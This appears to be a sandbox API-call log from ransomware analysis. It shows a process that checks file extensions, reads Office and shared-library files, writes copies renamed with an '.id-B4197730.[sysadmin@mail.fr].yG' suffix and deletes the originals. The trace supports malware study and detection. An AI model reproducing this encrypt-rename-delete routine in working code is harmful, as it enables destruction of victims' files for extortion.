	[0180.761] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0180.761] lstrlenW (lpString=".pdf") returned 4
	[0180.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.761] lstrlenW (lpString=".xls") returned 4
	[0180.762] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0180.762] lstrlenW (lpString=".xlsx") returned 5
	[0180.762] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0180.762] lstrlenW (lpString=".ppt") returned 4
	[0180.762] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.762] lstrlenW (lpString=".zip") returned 4
	[0180.762] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0180.762] lstrlenW (lpString=".rar") returned 4
	[0180.765] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.806] lstrlenW (lpString=".bz2") returned 4
	[0180.806] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.806] lstrlenW (lpString=".7z") returned 3
	[0180.806] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.806] lstrlenW (lpString=".dbf") returned 4
	[0180.806] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.806] lstrlenW (lpString=".1cd") returned 4
	[0180.806] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0180.806] lstrlenW (lpString=".jpg") returned 4
	[0180.806] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.806] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0180.806] lstrlenW (lpString="msdia90.dll") returned 11
	[0180.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0180.807] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=855376) returned 1
	[0180.807] CloseHandle (hObject=0x354) returned 1
	[0180.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20
	[0180.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0180.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0180.808] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.808] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0180.929] GetLastError () returned 0x0
	[0180.929] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0xd0d50, lpOverlapped=0x0) returned 1
	[0181.598] WriteFile (in: hFile=0x368, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xd0d60, lpOverlapped=0x0) returned 1
	[0181.618] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.618] WriteFile (in: hFile=0x368, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xea, lpOverlapped=0x0) returned 1
	[0181.618] SetEndOfFile (hFile=0x368) returned 1
	[0181.618] CloseHandle (hObject=0x368) returned 1
	[0181.618] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.618] SetEndOfFile (hFile=0x354) returned 1
	[0181.626] CloseHandle (hObject=0x354) returned 1
	[0181.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.627] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1
	[0181.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.627] lstrlenW (lpString=".doc") returned 4
	[0181.627] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.627] lstrlenW (lpString=".docx") returned 5
	[0181.627] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0181.627] lstrlenW (lpString=".pdf") returned 4
	[0181.628] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.628] lstrlenW (lpString=".xls") returned 4
	[0181.628] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.628] lstrlenW (lpString=".xlsx") returned 5
	[0181.628] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0181.628] lstrlenW (lpString=".ppt") returned 4
	[0181.628] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.628] lstrlenW (lpString=".zip") returned 4
	[0181.628] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.628] lstrlenW (lpString=".rar") returned 4
	[0181.628] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.628] lstrlenW (lpString=".bz2") returned 4
	[0181.628] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.628] lstrlenW (lpString=".7z") returned 3
	[0181.628] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.628] lstrlenW (lpString=".dbf") returned 4
	[0181.628] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.628] lstrlenW (lpString=".1cd") returned 4
	[0181.628] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.628] lstrlenW (lpString=".jpg") returned 4
	[0181.629] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.629] lstrlenW (lpString=".doc") returned 4
	[0181.629] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.629] lstrlenW (lpString=".docx") returned 5
	[0181.629] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0181.629] lstrlenW (lpString=".pdf") returned 4
	[0181.629] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.629] lstrlenW (lpString=".xls") returned 4
	[0181.629] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.629] lstrlenW (lpString=".xlsx") returned 5
	[0181.629] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0181.629] lstrlenW (lpString=".ppt") returned 4
	[0181.629] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.629] lstrlenW (lpString=".zip") returned 4
	[0181.629] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.629] lstrlenW (lpString=".rar") returned 4
	[0181.629] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.629] lstrlenW (lpString=".bz2") returned 4
	[0181.629] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.629] lstrlenW (lpString=".7z") returned 3
	[0181.629] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.629] lstrlenW (lpString=".dbf") returned 4
	[0181.630] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.630] lstrlenW (lpString=".1cd") returned 4
	[0181.630] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61
	[0181.630] lstrlenW (lpString=".jpg") returned 4
	[0181.630] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.630] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.630] lstrlenW (lpString="vstoee100.tlb") returned 13
	[0181.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0181.631] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=17048) returned 1
	[0181.631] CloseHandle (hObject=0x354) returned 1
	[0181.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20
	[0181.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0181.631] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.631] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0181.632] GetLastError () returned 0x0
	[0181.632] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x4298, lpOverlapped=0x0) returned 1
	[0181.927] WriteFile (in: hFile=0x368, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0x42a0, lpOverlapped=0x0) returned 1
	[0181.929] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.929] WriteFile (in: hFile=0x368, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1
	[0181.929] SetEndOfFile (hFile=0x368) returned 1
	[0181.929] CloseHandle (hObject=0x368) returned 1
	[0181.929] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.930] SetEndOfFile (hFile=0x354) returned 1
	[0181.931] CloseHandle (hObject=0x354) returned 1
	[0181.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.931] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1
	[0181.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.931] lstrlenW (lpString=".doc") returned 4
	[0181.931] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.931] lstrlenW (lpString=".docx") returned 5
	[0181.931] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0181.931] lstrlenW (lpString=".pdf") returned 4
	[0181.931] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.931] lstrlenW (lpString=".xls") returned 4
	[0181.931] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.931] lstrlenW (lpString=".xlsx") returned 5
	[0181.931] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0181.932] lstrlenW (lpString=".ppt") returned 4
	[0181.932] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.932] lstrlenW (lpString=".zip") returned 4
	[0181.932] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.932] lstrlenW (lpString=".rar") returned 4
	[0181.932] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.932] lstrlenW (lpString=".bz2") returned 4
	[0181.932] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.932] lstrlenW (lpString=".7z") returned 3
	[0181.932] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.932] lstrlenW (lpString=".dbf") returned 4
	[0181.932] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.932] lstrlenW (lpString=".1cd") returned 4
	[0181.932] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.932] lstrlenW (lpString=".jpg") returned 4
	[0181.932] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.932] lstrlenW (lpString=".doc") returned 4
	[0181.932] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.932] lstrlenW (lpString=".docx") returned 5
	[0181.932] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0181.932] lstrlenW (lpString=".pdf") returned 4
	[0181.932] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.932] lstrlenW (lpString=".xls") returned 4
	[0181.933] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.933] lstrlenW (lpString=".xlsx") returned 5
	[0181.933] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0181.933] lstrlenW (lpString=".ppt") returned 4
	[0181.933] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.933] lstrlenW (lpString=".zip") returned 4
	[0181.933] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.933] lstrlenW (lpString=".rar") returned 4
	[0181.933] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.933] lstrlenW (lpString=".bz2") returned 4
	[0181.933] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.933] lstrlenW (lpString=".7z") returned 3
	[0181.933] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.933] lstrlenW (lpString=".dbf") returned 4
	[0181.933] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.933] lstrlenW (lpString=".1cd") returned 4
	[0181.933] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0181.933] lstrlenW (lpString=".jpg") returned 4
	[0181.933] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.933] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.934] lstrlenW (lpString="msdaremr.dll") returned 12
	[0181.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0181.934] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=2560) returned 1
	[0181.934] CloseHandle (hObject=0x354) returned 1
	[0181.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20
	[0181.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.935] lstrlenW (lpString=".doc") returned 4
	[0181.935] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.935] lstrlenW (lpString=".docx") returned 5
	[0181.935] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0181.935] lstrlenW (lpString=".pdf") returned 4
	[0181.935] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.935] lstrlenW (lpString=".xls") returned 4
	[0181.935] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.935] lstrlenW (lpString=".xlsx") returned 5
	[0181.935] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0181.935] lstrlenW (lpString=".ppt") returned 4
	[0181.935] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.935] lstrlenW (lpString=".zip") returned 4
	[0181.935] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.935] lstrlenW (lpString=".rar") returned 4
	[0181.935] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.935] lstrlenW (lpString=".bz2") returned 4
	[0181.935] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.935] lstrlenW (lpString=".7z") returned 3
	[0181.935] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.935] lstrlenW (lpString=".dbf") returned 4
	[0181.936] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.936] lstrlenW (lpString=".1cd") returned 4
	[0181.936] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.936] lstrlenW (lpString=".jpg") returned 4
	[0181.936] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.936] lstrlenW (lpString=".doc") returned 4
	[0181.936] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.936] lstrlenW (lpString=".docx") returned 5
	[0181.936] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0181.936] lstrlenW (lpString=".pdf") returned 4
	[0181.936] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.936] lstrlenW (lpString=".xls") returned 4
	[0181.936] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.936] lstrlenW (lpString=".xlsx") returned 5
	[0181.936] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0181.936] lstrlenW (lpString=".ppt") returned 4
	[0181.936] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.936] lstrlenW (lpString=".zip") returned 4
	[0181.936] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.936] lstrlenW (lpString=".rar") returned 4
	[0181.936] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.936] lstrlenW (lpString=".bz2") returned 4
	[0181.936] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.937] lstrlenW (lpString=".7z") returned 3
	[0181.937] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.937] lstrlenW (lpString=".dbf") returned 4
	[0181.937] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.937] lstrlenW (lpString=".1cd") returned 4
	[0181.937] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0181.937] lstrlenW (lpString=".jpg") returned 4
	[0181.937] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.937] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.937] lstrlenW (lpString="msdfmap.dll") returned 11
	[0181.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0181.938] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=31744) returned 1
	[0181.938] CloseHandle (hObject=0x354) returned 1
	[0181.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20
	[0181.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.938] lstrlenW (lpString=".doc") returned 4
	[0181.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.938] lstrlenW (lpString=".docx") returned 5
	[0181.938] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0181.938] lstrlenW (lpString=".pdf") returned 4
	[0181.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.939] lstrlenW (lpString=".xls") returned 4
	[0181.939] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.939] lstrlenW (lpString=".xlsx") returned 5
